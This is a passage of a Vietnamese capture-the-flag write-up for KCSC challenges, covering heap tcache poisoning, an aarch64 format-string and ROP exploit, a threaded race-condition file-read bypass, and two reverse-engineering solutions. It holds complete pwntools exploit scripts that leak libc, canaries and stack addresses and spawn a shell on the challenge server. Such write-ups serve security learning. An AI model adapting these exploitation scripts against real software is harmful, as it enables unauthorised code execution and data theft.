add(0x10, b'\x33'*0x20, 1, 1)
show()
ru(b'\x33'*0x20)
heap_base = decrypt(u64(r(4) + b'\0\0\0\0')) & ~0xfff
info('[*] heap base: ' + hex(heap_base))
#sv0
0x1780b290:     0x0                     0x21
0x1780b2a0:     0x1780b2c0              0x3f80000000000001
0x1780b2b0:     0x0                     0x21
0x1780b2c0:     0x3333333333333333      0x3333333333333333

0x1780b2d0:     0x3333333333333333      0x3333333333333333
0x1780b2e0:     0x1781cb0b              0xbc70b1f1aac74486
0x1780b2f0:     0x0                     0x21
0x1780b300:     0x1780b                 0xbc70b1f1aac74486
  • Sau đó sửa lại về ban đầu và tạo lại sv1
delete(0)
add(0x10, b'\x33'*0x18 + p64(0x21), 1, 1)
add(0x10, b'\x22'*8, 1, 1)
  • Tiếp đến mình sẽ tạo một chunk để free vào unsorted bin để leak libc

  • Cần phải tạo một chunk ngay sau để chunk lớn khi free không gộp vào topchunk. Mình sẽ free luôn chunk này đi để tăng count trong tcache_per_thread để lát dùng malloc địa chỉ tùy ý

add(0x500, b'\x44'*8, 1, 1)
add(0x30, b'\x55'*8, 1, 1)
delete(3)
delete(2)
#sv2 (đã free)
0x1780b310:     0x0                             0x21
0x1780b320:     0x1781c05b                      0xbc70b1f1aac74486
0x1780b330:     0x0                             0x511
0x1780b340:     0x7fae55c1ace0 <main_arena+96>  0x7fae55c1ace0 <main_arena+96>
...
  • Tiếp đến mình dùng sv0 overflow để sửa con trỏ name của sv1 để cho nó trỏ đến 0x1780b340 -> leak libc
delete(0)
add(0x10, b'\x33'*0x18+p64(0x21)+b'\x40', 1, 1)
show()
ru(b'ID: 0\nNAME: ')
libc_leak = u64(r(6) + b'\0\0')
libc.address = libc_leak - 0x21ace0
info('[*] libc base: ' + hex(libc.address))
  • Lưu ý sau đoạn này sv1 là sv0 còn sv0 là sv1
#sv1
0x1780b290:     0x0                             0x21
0x1780b2a0:     0x1780b2c0                      0x3f80000000000001
0x1780b2b0:     0x0                             0x21
0x1780b2c0:     0x3333333333333333              0x3333333333333333

#sv0
0x1780b2d0:     0x3333333333333333              0x21
0x1780b2e0:     0x1780b340                      0x3f80000000000001
0x1780b2f0:     0x1780b2a0                      0x21
0x1780b300:     0x2222222222222222              0x0

0x1780b310:     0x0                             0x21
0x1780b320:     0x1781c05b                      0xbc70b1f1aac74486
0x1780b330:     0x0                             0x511
0x1780b340:     0x7fae55c1ace0 <main_arena+96>  0x7fae55c1ace0 <main_arena+96>
...
  • Sau khi đã có libc thì lặp lại quy trình trên 1 lần nữa, tuy nhiên lần nảy sửa con trỏ name của sv0 thành __environ để leak stack
delete(1)
add(0x10, b'\x33'*0x18+p64(0x21)+p64(libc.sym['__environ']), 1, 1)
show()
ru(b'ID: 0\nNAME: ')
stack_leak = u64(r(6) + b'\0\0')
info('[*] stack leak: ' + hex(stack_leak))

tcache poisoning

  • Mục tiêu cuối cùng của mình là thay đổi saved rip của hàm my_read để system("/bin/sh")

  • Dùng kĩ thuật Tcache Poisoning

  • Tính địa chỉ của saved rbp của hàm my_read sau khi xor theo cơ chế của tcache (vì khi malloc cũng cần căn chỉnh chunk sao cho lsb = 0)

ret_addr = ((heap_base+0x2e0)>>12)^(stack_leak - 0x178)
  • Sửa fd của chunk trong tache
delete(1)
add(0x10, b'\x33'*0x18+p64(0x41)+p64(heap_base+0x300), 1, 1)
delete(0)
delete(0)
add(0x10, b'\x33'*0x18+p64(0x41)+p64(ret_addr), 1, 1)

image

  • Vậy là đã có được địa chi saved rbp trong tcache

  • Giờ malloc nó và lấy shell thôi

pop_rdi = libc.address + 0x000000000002a3e5
binsh = next(libc.search(b'/bin/sh\0'))
ret = 0x000000000040101a
add(0x30, b'\0', 1, 1)
add(0x30, p64(0)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(libc.sym['system']),1,1)

KCSC{Have_you_passed_LapTrinhCanBan_yet?}

Full script

#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./chall_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
ld = ELF('./ld-linux-x86-64.so.2', checksec=False)

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
slan = lambda msg, num: sla(msg, str(num).encode())
san = lambda msg, num: sa(msg, str(num).encode())
sln = lambda num: sl(str(num).encode())
sn = lambda num: s(str(num).encode())
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
rl = lambda : p.recvline()

def GDB():
    if not args.REMOTE:
        gdb.attach(p, gdbscript=f'''
            b*0x401539
            b*0x401664
            b*0x4015c4
            b*0x401374
            c
            ''')

if args.REMOTE:
    conn = 'nc 36.50.177.41 50006'.split()
    p = remote(conn[1], int(conn[2]))
else:
    p = process(exe.path)
GDB()

def decrypt(cipher):
    key = 0
    result = 0
    for i in range(6):
        bits = 64 - 12 * i
        if bits < 0: bits = 0
        result = ((cipher ^ key) >> bits) << bits
        key = result >> 12
    return result

def add(size, name, age, score):
    slan(b'> ', 1)
    slan(b'Size name: ', size)
    sa(b'Name: ', name)
    slan(b'Age: ', age)
    slan(b'Score: ', score)

def show():
    slan(b'> ', 2)

def delete(idx):
    slan(b'> ', 3)
    slan(b'Index: ', idx)

add(0x10, b'\x11'*8, 1, 1)
add(0x10, b'\x22'*8, 1, 1)

delete(1)

delete(0)
add(0x10, b'\x33'*0x20, 1, 1)
show()
ru(b'\x33'*0x20)
heap_base = decrypt(u64(r(4) + b'\0\0\0\0')) & ~0xfff
info('[*] heap base: ' + hex(heap_base))

delete(0)
add(0x10, b'\x33'*0x18 + p64(0x21), 1, 1)
add(0x10, b'\x22'*8, 1, 1)

add(0x500, b'\x44'*8, 1, 1)
add(0x30, b'\x55'*8, 1, 1)
delete(3)
delete(2)

delete(0)
add(0x10, b'\x33'*0x18+p64(0x21)+b'\x40', 1, 1)
show()
ru(b'ID: 0\nNAME: ')
libc_leak = u64(r(6) + b'\0\0')
libc.address = libc_leak - 0x21ace0
info('[*] libc base: ' + hex(libc.address))

delete(1)
add(0x10, b'\x33'*0x18+p64(0x21)+p64(libc.sym['__environ']), 1, 1)
show()
ru(b'ID: 0\nNAME: ')
stack_leak = u64(r(6) + b'\0\0')
info('[*] stack leak: ' + hex(stack_leak))

ret_addr = ((heap_base+0x2e0)>>12)^(stack_leak - 0x178)
delete(1)
add(0x10, b'\x33'*0x18+p64(0x41)+p64(heap_base+0x300), 1, 1)
delete(0)
delete(0)
add(0x10, b'\x33'*0x18+p64(0x41)+p64(ret_addr), 1, 1)

pop_rdi = libc.address + 0x000000000002a3e5
binsh = next(libc.search(b'/bin/sh\0'))
ret = 0x000000000040101a
add(0x30, b'\0', 1, 1)
add(0x30, p64(0)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(libc.sym['system']),1,1)

p.interactive()

KCSC Shop

một bài viết về arm rất hay của anh hlaan đã hỗ trợ mình rất nhiều trong khi làm bài này

Phân tích

image

  • Khác với các bài trước đó được viết với kiến trúc amd64, bài này được viết với aarch64

Screenshot 2025-01-19 213345

void main(void)

{
  uint uVar1;
  int iVar2;
  char local_38 [48];
  long local_8;

  local_8 = __stack_chk_guard;
  initialize(&__stack_chk_guard,0);
  local_38[0] = '\0';
  local_38[1] = '\0';
  local_38[2] = '\0';
  local_38[3] = '\0';
  local_38[4] = '\0';
  local_38[5] = '\0';
  local_38[6] = '\0';
  local_38[7] = '\0';
  local_38[8] = '\0';
  local_38[9] = '\0';
  local_38[10] = '\0';
  local_38[0xb] = '\0';
  local_38[0xc] = '\0';
  local_38[0xd] = '\0';
  local_38[0xe] = '\0';
  local_38[0xf] = '\0';
  local_38[0x10] = '\0';
  local_38[0x11] = '\0';
  local_38[0x12] = '\0';
  local_38[0x13] = '\0';
  local_38[0x14] = '\0';
  local_38[0x15] = '\0';
  local_38[0x16] = '\0';
  local_38[0x17] = '\0';
  local_38[0x18] = '\0';
  local_38[0x19] = '\0';
  local_38[0x1a] = '\0';
  local_38[0x1b] = '\0';
  local_38[0x1c] = '\0';
  local_38[0x1d] = '\0';
  local_38[0x1e] = '\0';
  local_38[0x1f] = '\0';
  local_38[0x20] = '\0';
  local_38[0x21] = '\0';
  local_38[0x22] = '\0';
  local_38[0x23] = '\0';
  local_38[0x24] = '\0';
  local_38[0x25] = '\0';
  local_38[0x26] = '\0';
  local_38[0x27] = '\0';
  local_38[0x28] = '\0';
  local_38[0x29] = '\0';
  local_38[0x2a] = '\0';
  local_38[0x2b] = '\0';
  local_38[0x2c] = '\0';
  local_38[0x2d] = '\0';
  local_38[0x2e] = '\0';
  local_38[0x2f] = '\0';
  puts("Hello!\nWelcome to KCSC shopping mall");
  puts("What ur name, sir?");
  printf("> ");
  read(0,local_38,0x38);
  printf("OK, hi ");
  printf(local_38);
  uVar1 = sleep(1);
  iVar2 = ask_the_shop_owner(uVar1);
  if (iVar2 == 1) {
    get_date();
  }
  else if (iVar2 == 2) {
    buy_a_gift();
    if (count_gift != 0) {
      feedback();
    }
  }
  puts("Ahh, have a good day, sir");
  puts("Bye");
  if (local_8 != __stack_chk_guard) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail(0);
  }
  return;
}
  • Ở dòng 64 có lỗi Format String khi in ra tên

    Screenshot 2025-01-19 213536

  • Vì là aarch64 nên từ arg thứ 8 mới truyền vào trong stack, nên sẽ dùng %9$p để leak libc và %17$p để leak canary

  • Tiếp đến có 2 lựa chọn, nếu chọn 1 chỉ in ra ngày nên bỏ qua

int get_date(void)

{
  int iVar1;

  iVar1 = system("/bin/date");
  return iVar1;
}
  • Lựa chọn 2 thì sẽ được mua hàng và để lại feedback
void buy_a_gift(void)

{
  int iVar1;
  undefined8 local_18;
  undefined8 uStack_10;
  long local_8;

  local_8 = __stack_chk_guard;
  local_18 = 0;
  uStack_10 = 0;
  iVar1 = menu(&local_18,0);
  if (iVar1 == 1) {
    red_packet();
  }
  else if (iVar1 == 2) {
    red_wine();
  }
  else if (iVar1 != 3) {
    puts("I don\'t have that stuff, sir");
  }
  if (local_8 != __stack_chk_guard) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
void red_packet(void)

{
  long local_10;
  long local_8;

  local_8 = __stack_chk_guard;
  puts("Oh, red packet is a good choice");
  puts("How much money do you want to put in the red packet?");
  printf("> ");
  __isoc99_scanf(&DAT_004012f8,&local_10);
  getchar();
  if (1000000 < local_10) {
    puts("Wow, you are so rich");
    is_VIP = 1;
  }
  puts("OK, I\'ll pack it for you");
  count_gift = count_gift + 1;
  if (local_8 != __stack_chk_guard) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
void red_wine(void)

{
  int local_c;
  long local_8;

  local_8 = __stack_chk_guard;
  puts("Oh, red wine is a good choice");
  puts("How old do you want the wine to be?");
  printf("> ");
  __isoc99_scanf(&DAT_004011f0,&local_c);
  getchar();
  if (0x32 < local_c) {
    puts("Wow, you are such a wine connoisseur");
    is_VIP = 1;
  }
  puts("OK, I\'ll pack it for you");
  count_gift = count_gift + 1;
  if (local_8 != __stack_chk_guard) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
  • Ở cả 2 sản phẩm thì đều có khả năng kích hoạt VIP
void feedback(void)

{
  char acStack_70 [104];
  long local_8;

  local_8 = __stack_chk_guard;
  puts("I\'m glad to here your feedback:");
  printf("> ");
  if (is_VIP == '\x01') {
    fgets(acStack_70,0x100,stdin);
  }
  else {
    read(0,acStack_70,0x68);
  }
  puts("Hmmm, I\'ll notice that and thanks for ur report");
  if (local_8 != __stack_chk_guard) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
  • Khi để lại feedback, nếu là VIP thì sẽ được nhiều lời hơn => Stack Buffer Overflow => ROP để thực thi system("/bin/sh")

Leak canary + libc

sa(b'> ', b'%9$p_%17$p')
ru(b'OK, hi ')
# khi khai thác local thì địa chỉ dài hơn trên server
# libc_leak = int(r(14), 16)
libc_leak = int(r(12), 16)
libc.address = libc_leak - 0x273fc
info('[*] libc leak: ' + hex(libc_leak))
info('[*] libc base: ' + hex(libc.address))
ru(b'_')
canary = int(r(18), 16)
info('[*] canary: ' + hex(canary))
binsh = next(libc.search(b'/bin/sh\0'))
system = libc.sym['system']
info('[*] /bin/sh: ' + hex(binsh))
info('[*] system: ' + hex(system))

image

Rop

  • Tiếp đến thì sẽ mua hàng sao cho kích hoạt được VIP
slan(b'mind\n> ', 2)
slan(b'wine\n> ', 1)
slan(b' packet?\n> ', 2000000)

image

  • Nạp VIP thành công nếu được để lại feedback bằng fgets(acStack_70,0x100,stdin);

  • Tiếp đến là sẽ ROP. Khác với amd64 (điều khiển saved rip của hàmfeedback) thì trong aarch64 sẽ điều khiển được saved rip của hàm gọi hàm feedback (là hàm main)

  • Sau một lúc tham khảo google và ngồi thử thì kiếm được 2 cái phù hợp

    • Chuyển /bin/sh vào x22 rồi vào x0 là arg đầu tiên

    • Chuyển system vào x21 -> nhảy vào địa chỉ của x21system

# ldp x21, x22, [sp, #0x20] ; ldp x19, x20, [sp, #0x10] ; ldp x29, x30, [sp], #0x30 ; ret
gadget1 = libc.address + 0x7b830
# mov x0, x22 ; blr x21
gadget2 = libc.address + 0x10f11c
  • Việc còn lại là vừa chạy thử vừa chỉnh lại payload sao cho nó chạy thôi :))
payload = b'\0'*104 + p64(canary) + p64(0) + p64(gadget1)
payload += p64(0)*7 + p64(canary) + p64(0) + p64(gadget2) + p64(0)*2
payload += p64(system) + p64(binsh)
sla(b'feedback:\n> ', payload)

KCSC{0ops_TvT_1_cl4im3d_th4t_y0U_4r3_n0t_4_n00b}

Full script

#!/usr/bin/python3
from pwn import *

context.binary = exe = ELF('./shop_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
slan = lambda msg, num: sla(msg, str(num).encode())
san = lambda msg, num: sa(msg, str(num).encode())
sln = lambda num: sl(str(num).encode())
sn = lambda num: s(str(num).encode())
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
rl = lambda : p.recvline()

if args.REMOTE:
    conn = 'nc 36.50.177.41 50005'.split()
    p = remote(conn[1], int(conn[2]))
else:
    p = process(['qemu-aarch64', '-g' ,'1111' ,'./shop_patched'])
    context.log_level = 'debug' 
    raw_input('Debug')

sa(b'> ', b'%9$p_%17$p')
ru(b'OK, hi ')
libc_leak = int(r(12), 16)
libc.address = libc_leak - 0x273fc
info('[*] libc leak: ' + hex(libc_leak))
info('[*] libc base: ' + hex(libc.address))
ru(b'_')
canary = int(r(18), 16)
info('[*] canary: ' + hex(canary))
binsh = next(libc.search(b'/bin/sh\0'))
system = libc.sym['system']
info('[*] /bin/sh: ' + hex(binsh))
info('[*] system: ' + hex(system))

slan(b'mind\n> ', 2)
slan(b'wine\n> ', 1)
slan(b' packet?\n> ', 2000000)

# ldp x21, x22, [sp, #0x20] ; ldp x19, x20, [sp, #0x10] ; ldp x29, x30, [sp], #0x30 ; ret
gadget1 = libc.address + 0x7b830
# mov x0, x22 ; blr x21
gadget2 = libc.address + 0x10f11c

payload = b'\0'*104 + p64(canary) + p64(0) + p64(gadget1)
payload += p64(0)*7 + p64(canary) + p64(0) + p64(gadget2) + p64(0)*2
payload += p64(system) + p64(binsh)
sla(b'feedback:\n> ', payload)

p.interactive()

qwer

Phân tích

Screenshot 2025-01-24 213902

int setup()
{
  int result; // eax

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  result = pipe(fd);
  if ( result < 0 )
    exit(-1);
  return result;
}
  • Hàm setup() tạo ra một pipe và lưu vào trong biến fd

    Screenshot 2025-01-24 214654

    Screenshot 2025-01-24 214842

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  pthread_t newthread; // [rsp+8h] [rbp-228h] BYREF
  char buf; // [rsp+10h] [rbp-220h] BYREF
  __int64 v5; // [rsp+11h] [rbp-21Fh]
  __int64 v6; // [rsp+19h] [rbp-217h]
  __int64 v7; // [rsp+21h] [rbp-20Fh]
  __int64 v8; // [rsp+29h] [rbp-207h]
  __int64 v9; // [rsp+31h] [rbp-1FFh]
  __int64 v10; // [rsp+39h] [rbp-1F7h]
  __int64 v11; // [rsp+41h] [rbp-1EFh]
  __int64 v12; // [rsp+49h] [rbp-1E7h]
  __int64 v13; // [rsp+51h] [rbp-1DFh]
  __int64 v14; // [rsp+59h] [rbp-1D7h]
  __int64 v15; // [rsp+61h] [rbp-1CFh]
  __int64 v16; // [rsp+69h] [rbp-1C7h]
  __int64 v17; // [rsp+71h] [rbp-1BFh]
  __int64 v18; // [rsp+79h] [rbp-1B7h]
  __int64 v19; // [rsp+81h] [rbp-1AFh]
  __int64 v20; // [rsp+89h] [rbp-1A7h]
  __int64 v21; // [rsp+91h] [rbp-19Fh]
  __int64 v22; // [rsp+99h] [rbp-197h]
  __int64 v23; // [rsp+A1h] [rbp-18Fh]
  __int64 v24; // [rsp+A9h] [rbp-187h]
  __int64 v25; // [rsp+B1h] [rbp-17Fh]
  __int64 v26; // [rsp+B9h] [rbp-177h]
  __int64 v27; // [rsp+C1h] [rbp-16Fh]
  __int64 v28; // [rsp+C9h] [rbp-167h]
  __int64 v29; // [rsp+D1h] [rbp-15Fh]
  __int64 v30; // [rsp+D9h] [rbp-157h]
  __int64 v31; // [rsp+E1h] [rbp-14Fh]
  __int64 v32; // [rsp+E9h] [rbp-147h]
  __int64 v33; // [rsp+F1h] [rbp-13Fh]
  __int64 v34; // [rsp+F9h] [rbp-137h]
  __int64 v35; // [rsp+101h] [rbp-12Fh]
  __int64 v36; // [rsp+109h] [rbp-127h]
  unsigned __int64 v37; // [rsp+218h] [rbp-18h]

  v37 = __readfsqword(0x28u);
  setup(a1, a2, a3);
  pthread_create(&newthread, 0LL, start_routine, 0LL);
  while ( 1 )
  {
    read(0, &buf, 0x200uLL);
    if ( buf == 1 )
    {
      *(_QWORD *)haystack = v5;
      qword_4068 = v6;
      qword_4070 = v7;
      qword_4078 = v8;
      qword_4080 = v9;
      qword_4088 = v10;
      qword_4090 = v11;
      qword_4098 = v12;
      qword_40A0 = v13;
      qword_40A8 = v14;
      qword_40B0 = v15;
      qword_40B8 = v16;
      qword_40C0 = v17;
      qword_40C8 = v18;
      qword_40D0 = v19;
      qword_40D8 = v20;
      qword_40E0 = v21;
      qword_40E8 = v22;
      qword_40F0 = v23;
      qword_40F8 = v24;
      qword_4100 = v25;
      qword_4108 = v26;
      qword_4110 = v27;
      qword_4118 = v28;
      qword_4120 = v29;
      qword_4128 = v30;
      qword_4130 = v31;
      qword_4138 = v32;
      qword_4140 = v33;
      qword_4148 = v34;
      qword_4150 = v35;
      qword_4158 = v36;
    }
    else if ( buf == 2 )
    {
      write(dword_4164, &buf, 1uLL);
    }
  }
}
  • Hàm pthread_create() tạo một thread mới và chạy hàm start_routine song song với hàm main() ở thread đầu
void __fastcall __noreturn start_routine(void *a1)
{
  char buf; // [rsp+7h] [rbp-419h] BYREF
  int fd; // [rsp+8h] [rbp-418h]
  int v3; // [rsp+Ch] [rbp-414h]
  _BYTE v4[1032]; // [rsp+10h] [rbp-410h] BYREF
  unsigned __int64 v5; // [rsp+418h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  while ( 1 )
  {
    do
      read(::fd[0], &buf, 1uLL);
    while ( (unsigned int)check(haystack) );
    fd = open(haystack, 0);
    if ( fd >= 0 && !strstr(haystack, "flag") )
    {
      v3 = read(fd, v4, 0x400uLL);
      if ( v3 >= 0 )
      {
        write(1, v4, v3);
        close(fd);
      }
    }
  }
}
  • Có thể thấy ở hàm main, dùng read() để nhập vào buf và các biến đằng sau đó:

    • Nếu buf = 0x01 thì sẽ copy các 0x100 byte đằng sau buf để lưu vào mảng haystack

    • Nếu buf = 0x02 thì sẽ gửi 1 byte đến hàm start_routine thông qua pipe đã tạo ở setup -> hàm start_routine sẽ chỉ chạy tiếp nếu buf = 0x02 (nếu không sẽ dừng lại ở đoạn read)

__int64 __fastcall check(__int64 a1)
{
  unsigned __int8 i; // [rsp+17h] [rbp-1h]

  for ( i = 0; *(_BYTE *)(i + a1); ++i )
  {
    if ( *(_BYTE *)(i + a1) == 'f'
      && *(_BYTE *)(i + 1LL + a1) == 'l'
      && *(_BYTE *)(i + 2LL + a1) == 'a'
      && *(_BYTE *)(i + 3LL + a1) == 'g' )
    {
      return 1LL;
    }
  }
  return 0LL;
}
  • Hàm check sẽ kiêm tra xem mảng haystack có cụm flag nào không nếu không thì có thể mở được file với đường dẫn được viết trong mảng haystack

  • Sau khi mở được file thì lại kiểm tra một lần check flag nữa, nếu qua được thì sẽ in nội dung file ra và đóng file

Khai thác

  • Để ý rằng mảng haystack có 0x100 (256) byte, và ở hàm check thì vòng lặp for chạy với biến i với kiểu unsigned __int8 (0-255) => nếu viết đủ 0x100 vào mảng haystack (không có flag0x00) thì vòng lặp này sẽ loop vô hạn

  • Vì ở hai thread khác nhau và chạy song song nên khi vòng lặp này loop vô hạn ở hàm start_routine, ở hàm main ta sẽ gửi 0x01+/flag (và padding NULL đủ 0x100 byte) thì mảng haystack sẽ được sửa lại và khả năng cao vòng lặp vô hạn sẽ gặp phải byte NULL và sẽ trả về 0 (bypass được hàm check) (có 2/256 tỷ lệ thất bại nếu đen lắm lúc sửa lại mảng haystack thì vòng for đang kiểm tra đúng byte / hoặc f)

  • Lúc này ta có thể open được file /flag tuy nhiên sẽ không thể đọc được nội dung của file và sẽ không đóng file đó lại

  • Có một trick (được hint từ anh mentor) giúp ta bypass được lần check thứ 2

  • Nôm na là khi mở một file, giả sử được trả về file descriptor là n thì tức là tạo một symlink /proc/<PID>/fd/n -> /flag, khi đọc file /proc/<PID>/fd/n thì cũng chính là đọc file /flag

    Screenshot 2025-01-24 220816

  • Vậy ở hàm main ta chỉ cần gửi /proc/<PID>/fd/n là có thể bypass được 2 lần check và đọc được file /flag

Lưu ý là ở trên local thì file descriptor là 5 nhưng trên server là 8 (debug trên Docker để biết)

KCSC{JOahandA_n3OrEu1_Joah4ndA_j0@hAe_neOr3Ul_m4n!_m4nI_jO4HandaN_MaR1Y4_83oKch@OREUd@_mO7hA3_nAE_mam1_KUK-KUk_Ary30w4_Du_83oNeUn_MAl_M07_H@3_n3o_J!g3um_JaL_D3UR3o8W@_m4eI1_9OM!NHA9o_Y3oN$EupaETDeOn_M4l_jO4h4E}

Full script

#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./qwer', checksec=False)
def get_exe_base(pid):
    maps_file = f"/proc/{pid}/maps"
    exe_base = None
    with open(maps_file, 'r') as f:
        exe_base = int(f.readline().split('-')[0], 16)
    if exe_base is None:
        raise Exception("Executable base address not found.")
    return exe_base
def GDB():
    if not args.REMOTE:
        gdb.attach(p, gdbscript=f'''
            b*{base+0x1395}
            b*{base+0x1696}
            b*{base+0x1303}
            c
            ''')
if args.REMOTE:
    conn = 'nc 36.50.177.41 50009'.split()
    p = remote(conn[1], int(conn[2]))
else:
    p = process(exe.path)
    base = get_exe_base(p.pid)
# GDB()
fd = b'\x01'+b'/proc/self/fd/8\0'.ljust(256, b'\0')
flag = b'\x01' + b'/flag'.ljust(256, b'\0')

p.send(b'\x01' + b'/'*256)
sleep(0.2)
p.send(b'\x02')
sleep(0.2)
p.send(flag)
sleep(0.2)
p.send(fd)
sleep(0.2)
p.send(b'\x02')

p.interactive()

IV. Reverse

Cre:robertowen

HIDDEN

image

Mở ida dễ dàng thấy flag

image

Submit thử thì báo incorrect, rõ ràng là fakeflag
Vào functions thấy hàm printFlag khả nghi

image

Xem mã giả ta dễ dàng thấy đây chỉ là mã hóa xor từng byte của v2 với \x88

image

Bài này warmup nên có thể giải nhanh bằng cách debug và nhảy RIP đến hàm printFlag

image

Flag: KCSC{you_can't_see_me:v}

image

easyre

image

Chạy thử:

image

Pseudo code:

int __cdecl sub_7FF78B081280(int argc, const char **argv, const char **envp)
{
  FILE *v3; // rax
  size_t v4; // rax
  __int64 v5; // rdx
  __int64 v6; // rcx
  __int64 v7; // r8
  __int64 v8; // r9
  __int64 v9; // rax
  unsigned int v10; // edx
  unsigned int v11; // r8d
  unsigned __int64 v12; // rax
  __m128 v13; // xmm0
  __m128 v14; // xmm1
  __int64 v15; // rcx
  __int64 v16; // rax
  char *v17; // rcx
  char Buffer[16]; // [rsp+20h] [rbp-68h] BYREF
  __int128 v20; // [rsp+30h] [rbp-58h] BYREF
  int v21; // [rsp+40h] [rbp-48h]
  __int128 v22[2]; // [rsp+48h] [rbp-40h] BYREF
  __int64 v23; // [rsp+68h] [rbp-20h]
  int v24; // [rsp+70h] [rbp-18h]
  char v25; // [rsp+74h] [rbp-14h]

  LOBYTE(v21) = 0;
  v23 = 0i64;
  *(_OWORD *)Buffer = 0i64;
  v24 = 0;
  v20 = 0i64;
  v25 = 0;
  memset(v22, 0, sizeof(v22));
  sub_7FF78B081010("Enter flag: ");
  v3 = _acrt_iob_func(0);
  fgets(Buffer, 33, v3);
  v4 = strcspn(Buffer, "\n");
  if ( v4 >= 0x21 )
  {
    sub_7FF78B081558(
      v6,
      v5,
      v7,
      v8,
      *(_QWORD *)Buffer,
      *(_QWORD *)&Buffer[8],
      v20,
      *((_QWORD *)&v20 + 1),
      v21,
      *(_QWORD *)&v22[0],
      *((_QWORD *)&v22[0] + 1));
    JUMPOUT(0x7FF78B08141Ei64);
  }
  Buffer[v4] = 0;
  v9 = -1i64;
  do
    ++v9;
  while ( Buffer[v9] );
  if ( v9 == 32 )
  {
    sub_7FF78B081070(Buffer, v22);
    v10 = 0;
    v11 = 0;
    v12 = 0i64;
    do
    {
      v13 = (__m128)_mm_loadu_si128((const __m128i *)&byte_7FF78B085078[v12]);
      v11 += 32;
      v14 = (__m128)_mm_loadu_si128((const __m128i *)&v22[v12 / 0x10]);
      v12 += 32i64;
      *(__m128 *)&dword_7FF78B085058[v12 / 4] = _mm_xor_ps(v14, v13);
      *(__m128 *)&qword_7FF78B085068[v12 / 8] = _mm_xor_ps(
                                                  (__m128)_mm_loadu_si128((const __m128i *)((char *)&v20 + v12 + 8)),
                                                  (__m128)_mm_loadu_si128((const __m128i *)&qword_7FF78B085068[v12 / 8]));
    }
    while ( v11 < 0x20 );
    v15 = (int)v11;
    if ( (unsigned __int64)(int)v11 < 0x2C )
    {
      do
      {
        ++v11;
        byte_7FF78B085078[v15] ^= *((_BYTE *)v22 + v15);
        ++v15;
      }
      while ( v11 < 0x2C );
    }
    v16 = 0i64;
    while ( byte_7FF78B0832F0[v16] == byte_7FF78B085078[v16] )
    {
      ++v10;
      ++v16;
      if ( v10 >= 0x2C )
      {
        v17 = "Correct!\n";
        goto LABEL_13;
      }
    }
  }
  v17 = "Incorrect!\n";
LABEL_13:
  sub_7FF78B081010(v17);
  return 0;
}

Xem qua ta có thể thấy chương trình gọi một số hàm mã hóa và cuối cùng là check để kiểm tra flag có đúng không

image

Tuy code khá dài tuy nhiên ta có thể chú ý một số hàm mã hóa chính như sau
Lần 1:

image

Chương trình kiểm tra xem đầu vào mà ta nhập có phải là 32 ký tự hay không
Nếu đúng thì sẽ gọi hàm sub_7FF7EEA81070 để mã hóa
Nội dung hàm khá dài và khó nhìn tuy nhiên ta có thể check output để xem hàm làm gì với input
Output:

image

image

Ta có thể dễ dàng nhận ra đây là mã hóa base64 của input aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa mà ta đã nhập vào trước đó
Lần 2:

image

Xor từng bytes của v18 (output của base64 trước đó) với từng bytes của byte_7FF6E4DF5078 và lưu trữ kết quả luôn vào byte_7FF6E4DF5078
Cuối cùng là check: byte_7FF6E4DF5078 với byte_7FF6E4DF32F0

image

Nếu tất cả các bytes byte_7FF6E4DF5078byte_7FF6E4DF32F0 đều giống nhau thì báo Correct! nếu không thì báo Incorrect! Tổng kết:
- Nhận vào chuỗi 32 ký tự
- Mã hóa base64
- Xor với byte_7FF6E4DF5078
- Kiểm tra
Ta dễ dàng viết script decrypt:

import base64
byte_7FF6E4DF32F0=[0xC1, 0x91, 0x69, 0xB4, 0x66, 0xF9, 0x04, 0x12, 0xB2, 0xD3, 0x7D, 0x6B, 0x0F, 0xB9, 0x7F, 0xF5, 0xD2, 0x1C, 0xBF, 0x32, 0x0B, 0x32, 0x34, 0x9C, 0x98, 0xA4, 0x14, 0x37, 0x86, 0xC9, 0xAF, 0xE2, 0x9C, 0x46, 0x2B, 0xEC, 0x9F, 0x63, 0x38, 0x23, 0x54, 0x78, 0xCD, 0xF2]
byte_7FF6E4DF5078=[0x92, 0xA1, 0x27, 0xE0, 0x37, 0xCA, 0x70, 0x7E, 0xE6, 0xBE, 0x33, 0x1D, 0x5D, 0xFE, 0x29, 0x93, 0xB6, 0x66, 0xF9, 0x02, 0x6A, 0x74, 0x0D, 0xDF, 0xD6, 0xEC, 0x5A, 0x71, 0xC8, 0xA3, 0xFD, 0x84, 0xC5, 0x13, 0x1E, 0x87, 0xC7, 0x52, 0x50, 0x55, 0x01, 0x16, 0xFD, 0xCF]
a=''
for i in range(len(byte_7FF6E4DF5078)):
    a+=chr(byte_7FF6E4DF5078[i]^byte_7FF6E4DF32F0[i])
p=base64.b64decode(a.encode())
print(p.decode())
#KCSC{eNcoDe_w1th_B4sE64_aNd_XoR}

Flag: KCSC{eNcoDe_w1th_B4sE64_aNd_XoR}

Spy Room

image

